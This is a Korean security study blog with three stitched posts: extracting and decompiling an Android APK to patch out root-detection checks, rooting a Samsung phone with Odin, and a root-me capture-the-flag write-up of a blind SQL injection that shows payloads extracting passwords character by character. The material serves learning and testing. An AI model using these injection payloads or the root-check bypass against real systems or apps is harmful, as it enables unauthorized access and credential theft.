반응형

Step 1) JAVA 설치 / 환경변수 설정


Step 2) ADB 설치 / ADB로 단말기 연결


>> adb devices 명령어로 연결된 디바이스 보기


Step 3) APK  파일 추출하기


1. adb로 추출하기

-adb shell로 단말기 연결

-pm list packages -f로 패키지 목록 출력

-adb pull [패키지명] [저장할 파일명] (ex. adb pull /data/data/com.example.apk test.apk)


2. Astro 어플 이용하여 추출


>> 어플 실행 → 앱 매니저 → 추출할 앱 선택 → 더보기 → 백업 클릭


Step 4) APK Manager Tool로 디컴파일


- place-apk-here-for-modding 폴더에 디컴파일 할 apk 파일 붙여넣기

- Script.cmd 실행

- 22번으로 디컴파일할 apk 파일 선택

- 9번 눌러서 디컴파일 시작


Step 5) 루팅 함수 검색


- Astro grep으로 string 검사

- jadx tool로 apk 디컴파일 해서 rooting/rooted 검사

- smali code에서 해당 함수 부분 검색

- 수정 후 컴파일 + Sign + Install(14번)







반응형
반응형

Step 1) 개발자 옵션 활성화


폰>> 설정 >> 디바이스 정보 > 빌드번호 5번 클릭


Step 2) OEM 잠금해제, USB 디버깅 활성화


개발자옵션 >> OEM 잠금해제, USB 디버깅 ON



Step 3) Odin 프로그램 및 AP 다운로드


Odin 다운로드 & 설치 >> https://odindownload.com/


AP 다운로드 >> https://autoroot.chainfire.eu/  (자신의 기종에 맞는 AP 다운로드!! 기종확인 필수)


Step 4) Odin 실행하고 AP등록



>>Odin을 실행시킨 후 AP칸에 다운로드 받은 AP등록(압축풀어 md5파일 넣기)

>>폰과 연결되어 있어야 상단의 ID:COM 부분이 활성화됨


Step 5) 단말기 종료 후 다운로드 모드 진입


>>단말기가 꺼진 상태에서 볼륨(하) + 전원 + 홈 버튼을 동시에 눌러 다운로드 모드로 진입

(볼륨(상) + 전원 + 홈 버튼은 리커버리 모드임.)


Step 6) Odin 내 Start 버튼 클릭하여 루팅 시작


>>단말기가 저절로 리부팅되면서 루팅이 진행됨


Step 7) 루팅 성공


>>단말기 내 SuperSU 앱이 생성되어 있으면 루팅 성공!!



>>앱을 실행시켜 설정탭-슈퍼유저에서 Superuser 활성화 여부 선택 가능함.

반응형

'Study > Mobile' 카테고리의 다른 글

[Android] Activity 확인 & 호출  (0) 2018.07.20
[Android] 동적 디버깅 환경 구성하기  (0) 2018.07.18
[Android] 메모리 덤프  (0) 2018.07.18
[Android] 진단 - apk manager tool  (0) 2018.07.12
모바일 프록시 설정  (0) 2018.06.01
반응형

Blind SQL Injection문제입니다. 

로그인 화면이 나오네요. 가장 기본적인 test/test, admin/admin 등으로 계정 유추를 시도해보겠습니다.

위 사진과 같은 에러가 출력됩니다. ID가 맞아도 위와 같은 에러가 출력되기 때문에 어떤 계정이 존재하고 있는지 알 수가 없습니다...

저는 다음과 같은 순서로 문제 풀이를 진행하였습니다.


1. 'or 1=1--/1 << 가장 기본적인 sql injection 구문 삽입 시도

가장  첫번째 컬럼에 user1 계정이 있다는 것을 알 수 있었습니다.


2. user1'order by 1--/1 << order by 구문으로 컬럼 갯수 확인

order by 3-- 구문을 삽입하였을 때 에러가 출력되므로 컬럼은 2개인 것을 알 수 있습니다. 


3. user1'union select 1, sql from sqlite_master-- << union select 구문을 이용하여 sql 필드 조회를 시도하였지만,


injection 구문 탐지로 인해 union select 구문을 사용할 수 없습니다.

에러 구문을 이용한 Blind SQL injection 공격을 이용해야 한다는 사실이 명확해졌군요.


4. user1'and+(select+length(password)+from+users)=11-- << user1 계정의 패스워드 길이 및

   user1'and+substr((select+password+from+users limit 0,1),1,1)='D'-- << 정보 파악 


user1의 패스워드 길이가 11자인 것을 알아낸 후 Burpsuite의 Intruder 기능을 이용해 앞에서 부터 한 글자씩 대입을 시도해보았더니 user1의 패스워드가 출력되었습니다.

저는 DsD6z756f$!가 답이라고 생각했으나 아니었죠... 관리자의 패스워드를 구하는 문제였더라고요ㅜㅜ



5. user1'and+substr((select+password+from+users limit 1,1),1,1)='A'-- << 두번째 필드, 즉 admin의 패스워드 추출


admin의 패스워드 8자리가 추출되었습니다!!!





반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] LFI - Double Encoding  (1) 2019.01.17
[root-me] PHP filters  (0) 2019.01.16
root-me>>SQL injection - numeric  (0) 2018.05.01
root-me >> Command injection  (0) 2018.04.24
root-me >> HTTP Header  (0) 2018.02.23

+ Recent posts

반응형
반응형